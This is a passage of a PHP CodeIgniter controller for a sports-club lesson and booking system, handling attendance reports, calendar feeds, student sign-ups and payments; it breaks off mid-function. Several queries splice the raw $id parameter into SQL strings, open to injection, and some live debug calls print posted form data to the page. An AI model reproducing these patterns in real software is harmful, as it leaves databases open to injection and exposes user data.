//print("<pre>".$this->reservas->get_max_booking_date()); //print_r($asistentes); //print_r($info); //print_r($profesores); //print_r($deportes); $contenido = $this->load->view('lessons/new_daily_report', array('info' => $info, 'fechas_disponibles' => $fechas_disponibles, 'profesores' => $profesores), true); $extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>'; //$extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), //'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id']), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), //'form_name' => 'frmDetail', 'main_content' => $contenido, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function detail_daily_report($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id = '".$id."'")); $info = $info_tmp[0]; //$info = $this->calendario->getCalendarByRange($id, 'array'); $info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']); if($this->input->post('action') && $this->input->post('action')=="save") { //print("<pre>");print_r($info);print_r($_POST);exit(); $datos = array ( 'id' => $info['id'], 'id_lesson' => $info['id_lesson'], 'date_lesson' => $info['date_lesson'], 'id_instructor' => $this->input->post('id_instructor'), 'done' => $this->input->post('done'), 'observations' => $this->input->post('observations') ); if($this->input->post('recovered')=="1") { $datos['done'] = $this->input->post('recovered'); $datos['recovered'] = $this->input->post('recovered'); $datos['recovered_date'] = date($this->config->item('date_db_format'), $this->input->post('recovered_date')); $datos['recovered_obs'] = $this->input->post('recovered_obs'); } else { $datos['recovered'] = '0'; $datos['recovered_date'] = ''; $datos['recovered_obs'] = ''; } //print("<pre>");print_r($datos);//exit(); //exit($valido); if($this->lessons->updateAssistance($info['id'], $datos) && $this->input->post('done')=="1") { foreach($_POST as $code => $value) { if(strstr($code, 'user_')) { $usuario = $value; if($this->input->post('assistant_'.$usuario)) $hecho = 1; else $hecho = 0; if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios $obs = $this->input->post('obs_'.$usuario); $id_user = ''; $user_desc = ''; $user_phone = ''; foreach($info['assistants'] as $id => $alumno) { if($alumno['id'] == $usuario) { $id_user = $alumno['id_user']; $user_desc = $alumno['user_desc']; $user_phone = $alumno['user_phone']; } } $data = array ( 'id_lesson' => $info['id_lesson'], 'date_lesson' => $info['date_lesson'], 'id_user' => $id_user, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'asistance' => $hecho, 'observations' => $obs, ); $this->lessons->updateAssistanceReport($data); } } $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); } else { $this->lessons->deleteAssistance($info['id_lesson'], $info['date_lesson']); $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso. '); } redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location'); exit(); } //print("<pre>");print_r($info); //$editable = FALSE; if(stristr($info['admin_check'], 's')) $editable = FALSE; else $editable = TRUE; //$recovery = FALSE; if($info['recovered']) $editable = FALSE; /* # Consultas para extraer la informacion del informe diario $info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id_lesson = '".$id."'")); print("<pre>");print_r($info_tmp); $info = $info_tmp[0]; $info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']); # Consultas de la definiciรณn del curso $info = $this->calendario->getCalendarByRange($id, 'array'); $info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id']."' AND lessons_assistants.status < '7'")); */ //print("<pre>");print_r($info);exit(); //print("<pre>".$this->reservas->get_max_booking_date()); //print_r($asistentes); //print_r($info); //print_r($deportes); $profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5'); //print_r($profesores); $contenido = $this->load->view('lessons/detail_daily_report', array('info' => $info, 'profesores' => $profesores, 'editable' => $editable), true); $extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>'; $extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), //'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id_lesson']), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), //'form_name' => 'frmDetail', 'main_content' => $contenido, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Pantalla para marcar un dรญa de clase como recuperado ... la que graba es detail_daily_report # ------------------------------------------------------------------- function recover_daily_report($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id = '".$id."'")); $info = $info_tmp[0]; if(stristr($info['done'], 's')) { $this->session->set_userdata('error_message', 'Clase impartida. No es necesario definir una clase de recuperaci&oacute;n.'); //exit(); redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location'); exit(); } //$info = $this->calendario->getCalendarByRange($id, 'array'); //$info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']); $info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id_lesson']."' AND lessons_assistants.status < '7'")); if($this->input->post('action') && $this->input->post('action')=="save") { /* print("<pre>");print_r($info);print_r($_POST); echo date($this->config->item('date_db_format'), strtotime($this->input->post('recovered_date'))); exit(); */ $datos = array ( 'id' => $info['id'], 'id_lesson' => $info['id_lesson'], 'date_lesson' => $info['date_lesson'], 'id_instructor' => $this->input->post('id_instructor'), 'done' => $this->input->post('done'), 'observations' => $this->input->post('observations') ); if($this->input->post('recovered')=="1") { $datos['done'] = $this->input->post('recovered'); $datos['recovered'] = $this->input->post('recovered'); $datos['recovered_date'] = date($this->config->item('date_db_format'), strtotime($this->input->post('recovered_date'))); $datos['recovered_obs'] = $this->input->post('recovered_obs'); } else { $datos['recovered'] = '0'; $datos['recovered_date'] = ''; $datos['recovered_obs'] = ''; } //print("<pre>");print_r($datos);//exit(); //exit($valido); if($this->lessons->updateAssistance($info['id'], $datos)) { #reseteo valores de los alumnos para ese dia $this->lessons->deleteAssistanceReport($info['id_lesson'], $info['date_lesson']); foreach($_POST as $code => $value) { if(strstr($code, 'user_')) { $usuario = $value; if($this->input->post('assistant_'.$usuario)) $hecho = 1; else $hecho = 0; if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios $obs = $this->input->post('obs_'.$usuario); $id_user = ''; $user_desc = ''; $user_phone = ''; foreach($info['assistants'] as $id => $alumno) { if($alumno['id'] == $usuario) { $id_user = $alumno['id_user']; $user_desc = $alumno['user_desc']; $user_phone = $alumno['user_phone']; } } $data = array ( 'id_lesson' => $info['id_lesson'], 'date_lesson' => $info['date_lesson'], 'id_user' => $id_user, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'asistance' => $hecho, 'observations' => $obs, ); $this->lessons->addAssistanceReport($data); } } $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); } else { $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso. '); } redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location'); exit(); } //print("<pre>");print_r($info); //$editable = FALSE; $editable = TRUE; $recovery = TRUE; $profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5'); //print_r($profesores); $contenido = $this->load->view('lessons/recover_daily_report', array('info' => $info, 'profesores' => $profesores, 'editable' => $editable, 'recovery' => $recovery), true); $extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>'; $extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), //'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id_lesson']), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), //'form_name' => 'frmDetail', 'main_content' => $contenido, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function datafeed($method, $id = NULL) { $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } switch ($method) { case "add": $ret = $this->calendario->addCalendar($this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"), $this->input->post("CalendarTitle"), $this->input->post("IsAllDayEvent")); break; case "list": $ret = $this->calendario->listCalendar($this->input->post('showdate'), $this->input->post('viewtype')); //$ret = $this->calendario->listCalendar('11/3/2010', 'week'); break; case "update": $ret = $this->calendario->updateCalendar($this->input->post("calendarId"), $this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime")); break; case "remove": $ret = $this->calendario->removeCalendar( $this->input->post("calendarId")); break; case "adddetails": $st = $this->input->post("stpartdate") . " " . $this->input->post("stparttime"); $et = $this->input->post("etpartdate") . " " . $this->input->post("etparttime"); if(isset($id)){ $all_day = $this->input->post("IsAllDayEvent"); $ret = $this->calendario->updateDetailedCalendar($id, $st, $et, $this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"), $this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone")); }else{ $all_day = $this->input->post("IsAllDayEvent"); $ret = $this->calendario->addDetailedCalendar($st, $et, $this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"), $this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone")); } break; } $this->output->set_header($this->config->item('json_header')); echo json_encode($ret); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function datafeed_detail($id = NULL) { $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $ret = $this->calendario->listCalendar($this->input->post('showdate'), $this->input->post('viewtype'), $id); //$ret = $this->calendario->listCalendar('11/3/2010', 'week'); $this->output->set_header($this->config->item('json_header')); echo json_encode($ret); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function datafeed_get($method, $id = NULL, $showdate = NULL, $viewtype = NULL, $timezone = NULL) { $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } switch ($method) { case "add": $ret = $this->calendario->addCalendar($this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime"), $this->input->post("CalendarTitle"), $this->input->post("IsAllDayEvent")); break; case "list": $ret = $this->calendario->listCalendar(str_replace('-', '/', $showdate), $viewtype); //$ret = $this->calendario->listCalendar('11/3/2010', 'week'); break; case "update": $ret = $this->calendario->updateCalendar($this->input->post("calendarId"), $this->input->post("CalendarStartTime"), $this->input->post("CalendarEndTime")); break; case "remove": $ret = $this->calendario->removeCalendar( $this->input->post("calendarId")); break; case "adddetails": $st = $this->input->post("stpartdate") . " " . $this->input->post("stparttime"); $et = $this->input->post("etpartdate") . " " . $this->input->post("etparttime"); if(isset($id)){ $all_day = $this->input->post("IsAllDayEvent"); $ret = $this->calendario->updateDetailedCalendar($id, $st, $et, $this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"), $this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone")); }else{ $all_day = $this->input->post("IsAllDayEvent"); $ret = $this->calendario->addDetailedCalendar($st, $et, $this->input->post("Subject"), isset($all_day)?1:0, $this->input->post("Description"), $this->input->post("Location"), $this->input->post("colorvalue"), $this->input->post("timezone")); } break; } $this->output->set_header($this->config->item('json_header')); echo json_encode($ret); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function save_assistance($leccion, $id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); if($this->input->post('action')) { if($this->input->post('action')=="admin_obs") { //print("<pre>");print_r($_POST);exit(); $obs = $this->input->post('admin_obs'); if($this->lessons->updateAdminCheck($leccion, $id, $obs)) $this->session->set_userdata('info_message', 'Actualizaci&oacute;n de la informacion realizada'); else $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n de la informacion'); } } redirect(site_url('lessons/assistance/'.$leccion), 'Location'); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function detail_save_____($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $this->lessons->id = $id; $this->lessons->description = $this->input->post('description'); $this->lessons->active = ($this->input->post('active'))? 1 : 0; $this->lessons->weekday = $this->input->post('weekday'); $this->lessons->start_time = $this->input->post('start_time'); $this->lessons->end_time = $this->input->post('end_time'); $this->lessons->start_date = date($this->config->item('date_db_format'), strtotime($this->input->post('start_date'))); $this->lessons->end_date = date($this->config->item('date_db_format'), strtotime($this->input->post('end_date'))); $this->lessons->id_sport = $this->input->post('id_sport'); $this->lessons->id_court = $this->input->post('id_court'); $this->lessons->id_instructor = $this->input->post('id_instructor'); $this->lessons->max_vacancies = $this->input->post('max_vacancies'); $this->lessons->monthly_payment_day = $this->input->post('monthly_payment_day'); $this->lessons->level = $this->input->post('level'); $this->lessons->gender = $this->input->post('gender'); $maxima_fecha = $this->reservas->get_max_booking_date(); $fecha_actual = $this->lessons->start_date; //echo $this->lessons->weekday."<br>"; //echo $fecha_actual."<br>"; //echo date( 'w', strtotime($fecha_actual))."<br>"; while( date( 'w', strtotime($fecha_actual)) != $this->lessons->weekday) { $fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +1days')); //echo $fecha_actual."<br>"; } //echo $fecha_actual.'---------------------->'; $fecha_final = $this->lessons->end_date; $hora_inicio = $this->lessons->start_time; $hora_fin = $this->lessons->end_time; $pista = $this->input->post('id_court'); //echo $maxima_fecha.'<br>'; //print($hora_inicio.$hora_fin.$this->lessons->weekday."<pre>"); $valido = 1; $fecha_problematica = ''; while($fecha_actual <= $maxima_fecha && $fecha_actual <= $fecha_final) { //echo $fecha_actual."<br>"; $hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_inicio)); $this->app_common->get_court_availability($pista, $fecha_actual); while($hora_actual <= $hora_fin) { foreach($this->reservas->availability as $disp) { //echo $disp[0].' - '.$hora_actual.' - '.$disp[1]."<br>"; if($disp[0] == $hora_actual && $disp[1] == '1') { $valido = 0; $fecha_problematica = $fecha_actual; //echo '<b>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br></b>'; } } $hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_actual.' +30minutes')); } //print_r($this->reservas->availability); $fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +7days')); } //exit($valido); if($valido) { if($this->lessons->updateLessons($id)) $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); else $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso'); } else { $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso. Alguna de las reservas necesarias (al menos para el d&iacute;a '.date( $this->config->item('reserve_date_filter_format'), strtotime($fecha_problematica)).') est&aacute; reservada con otro motivo.'); redirect(site_url('lessons/detail/'.$id), 'Location'); exit(); } $this->lessons->signin = $this->input->post('signin'); $this->lessons->monthly = $this->input->post('monthly'); $this->lessons->updateLessonsPricesSimple($id); redirect(site_url('lessons/detail/'.$id), 'Location'); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function add_assistant($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('calendario'); //print_r($_POST); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } $info = $this->calendario->getCalendarByRange($id); //print("<pre>");print_r($info); if($this->input->post('action') && $this->input->post('action')=="add") { $this->lessons->id = $id; //print_r($_POST);//exit(); $id_user = $this->input->post('id_user'); # Especificaciรณn de fecha de alta para los pagos $start_date = $this->input->post('start_date'); if(isset($start_date) && $start_date !='') { $date_temp = explode('-', $start_date); if(is_array($date_temp)) $start_date = $date_temp[2].'-'.$date_temp[1].'-'.$date_temp[0]; // Convierto dd-mm-yyyy en yyyy--mm-dd } else $start_date = date( $this->config->item('date_db_format')); $discount = $this->input->post('discount'); //echo $discount.'<br>'; if($discount > 100) $discount = 100; if(!isset($discount) || $discount=='' || $discount < 0) $discount = 0; //echo $discount.'<br>';exit(); if(!isset($id_user) || $id_user=='') $id_user = 0; $user_desc = $this->input->post('user_desc'); $user_phone = $this->input->post('user_phone'); if($id_user) { $datos_usuario = $this->usuario->get_user($id_user); $user_desc = trim($datos_usuario['user_name'].' '.$datos_usuario['user_lastname']); $user_phone = $datos_usuario['user_phone']; } //$paymentway = $this->input->post('paymentway'); $status = ""; /* if($mode == "waiting") $status = 7; elseif($mode == "annual") $status = 1; elseif($mode == "unique") $status = 3; else $status = 2; */ $status = 2; if($info->current_vacancies <= 0) $status = 7; if($this->calendario->checkAssistant($id, $id_user, $user_desc)) { $this->session->set_userdata('error_message', 'El usuario ya est&aacute; dado de alta en el curso.'); redirect(site_url('lessons/assistants/'.$id), 'Location'); exit(); } # Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada.. if($this->lessons->addAssistant($id, $status, $id_user, $user_desc, $user_phone, $discount, $start_date)) { $this->session->set_userdata('info_message', 'Usuario a&ntilde;adido'); # Si el curso no tiene cuota de alta, lo marco como con el alta pagada if($info->signin == 0) { if(!isset($start_date)) $start_date = date($this->config->item('log_date_format')); $this->lessons->signAssitant($id, NULL, $id_user, $user_desc, $start_date); //exit("aaa"); } //else exit('bbb'); } else $this->session->set_userdata('error_message', 'Error a&ntilde;adiendo al usuario'); /* if(floatval($info->signin) > 0) { $this->load->model('Payment_model', 'pagos', TRUE); $this->pagos->id_type=2; //Clases y cursos $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction='l-'.$id.'-'.$id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago $this->pagos->id_user=$id_user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$paymentway; $this->pagos->status=9; $this->pagos->quantity=$info->signin; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Alta en curso '.$info->description; $this->pagos->create_user=$this->session->userdata('user_id'); $this->pagos->create_time=date($this->config->item('log_date_format')); $this->pagos->setPayment(); } */ redirect(site_url('lessons/assistants/'.$id), 'Location'); exit(); // Fin del IF que registra el alta } $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'menu' => $this->load->view('menu', '', true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $this->load->view('lessons/new_assistant', array('id' => $id), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function sign_assistant($id, $user, $method) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); //print_r($_POST); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } $info = $this->calendario->getCalendarByRange($id); //print("<pre>");print_r($info); $this->lessons->id = $id; //print_r($_POST);echo date($this->config->item('log_date_format'), strtotime($sign_date_tmp));exit(); $id_user = $this->input->post('id_user'); if(!isset($id_user) || $id_user=='') $id_user = 0; $user_desc = $this->input->post('user_desc'); $user_phone = $this->input->post('user_phone'); //$paymentway = $this->input->post('paymentway'); $status = ""; /* if($mode == "waiting") $status = 7; elseif($mode == "annual") $status = 1; elseif($mode == "unique") $status = 3; else $status = 2; */ $status = 2; if($info->current_vacancies <= '0') $status = 7; $usuario = $this->calendario->getAssistantInfo($user); if($usuario->sign_date != '') { $this->session->set_userdata('error_message', 'El usuario ya pag&oacute; la cuota de alta del curso.'); redirect(site_url('lessons/assistants/'.$id), 'Location'); exit(); } $sign_date_tmp = str_replace('/', '-', $this->input->post('sign_date')); $sign_date = date($this->config->item('log_date_format'), strtotime($sign_date_tmp)); // Fecha de alta $this->lessons->signAssitant($id, $user, NULL, NULL, $sign_date); if(floatval($info->signin) > 0) { if($usuario->id_user != '' && $usuario->id_user != 0) $user_desc = $usuario->first_name.' '.$usuario->last_name; else $user_desc = $usuario->user_desc; $estado = 9; if($method == 4) $estado = 2; $this->load->model('Payment_model', 'pagos', TRUE); $this->pagos->id_type=2; //Clases y cursos $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction='l-'.$id.'-'.$usuario->id_user.'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago $this->pagos->id_user=$usuario->id_user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$method; $this->pagos->status=$estado; $this->pagos->quantity=$info->signin; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description="Alta en curso '".$info->description."'"; $this->pagos->create_user=$this->session->userdata('user_id'); $this->pagos->create_time=date($this->config->item('log_date_format')); $this->pagos->setPayment(); } redirect(site_url('lessons/assistants/'.$id), 'Location'); exit(); // Fin del IF que registra el alta } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function subscribe_assistant($curso, $id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $assistant=$this->calendario->getAssistantInfo($id); $info = $this->calendario->getCalendarByRange($assistant->id_lesson); $status = 2; print("<pre>");print_r($assistant);print_r($info); //exit(); if($info->current_vacancies > 0) { if($this->lessons->subscribeAssitant($curso, $id)) { $this->session->set_userdata('info_message', 'Usuario a&ntilde;adido.'); # Si el curso no tiene cuota de alta, lo marco como con el alta pagada if($info->signin == 0) $this->lessons->signAssitant($id, NULL, $assistant->id_user, $assistant->user_desc); redirect(site_url('lessons/assistants/'.$assistant->id_lesson), 'Location'); exit(); } else $this->session->set_userdata('error_message', 'Error a&ntilde;adiendo al usuario'); redirect(site_url('lessons/waiting/'.$assistant->id_lesson), 'Location'); exit(); } else { $this->session->set_userdata('error_message', 'Curso actualmente lleno.'); redirect(site_url('lessons/waiting/'.$assistant->id_lesson), 'Location'); exit(); } exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function asistant_payment($curso, $id, $paymentway = NULL, $action = NULL, $quantity = NULL) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'users', TRUE); $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } print('<pre>');print_r($_POST); //exit(); $assistant=$this->calendario->getAssistantInfo($id); //print('<pre>');print_r($assistant); $assistant_info = $this->users->get_user($assistant->id_user); //print('<pre>');print_r($assistant_info); $info = $this->calendario->getCalendarByRange($assistant->id_lesson); //print('<pre>');print_r($info); //exit(); if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar if($info->signin != 0 && $assistant->sign_date == '') { $this->session->set_userdata('error_message', 'Debe primero pagar la cuota de alta'); redirect(site_url('lessons/assistants/'.$curso), 'Location'); exit(); } //exit(); /* if(!isset($assistant->last_day_payed) || $assistant->last_day_payed=="") { if(date('d', strtotime($assistant->last_day_payed)) >= $info->monthly_payment_day) $last_payd_date = date('Y-m-'.$info->monthly_payment_day, strtotime('+1 month')); else $last_payd_date = date('Y-m-'.$info->monthly_payment_day); } else $last_payd_date = date('Y-m-'.$info->monthly_payment_day, strtotime($assistant->last_day_payed.'+1 month')); */ //echo $assistant->last_day_payed."<br>"; if($this->input->post('payd_date_tmp') != '') { //echo '--'.$this->input->post('payd_date_tmp'); $last_payd_date = date($this->config->item('log_date_format'), strtotime($this->input->post('payd_date_tmp'))); //echo '<br>'.$last_payd_date; //exit(); } else { //exit('no'); if(!isset($assistant->last_day_payed) || 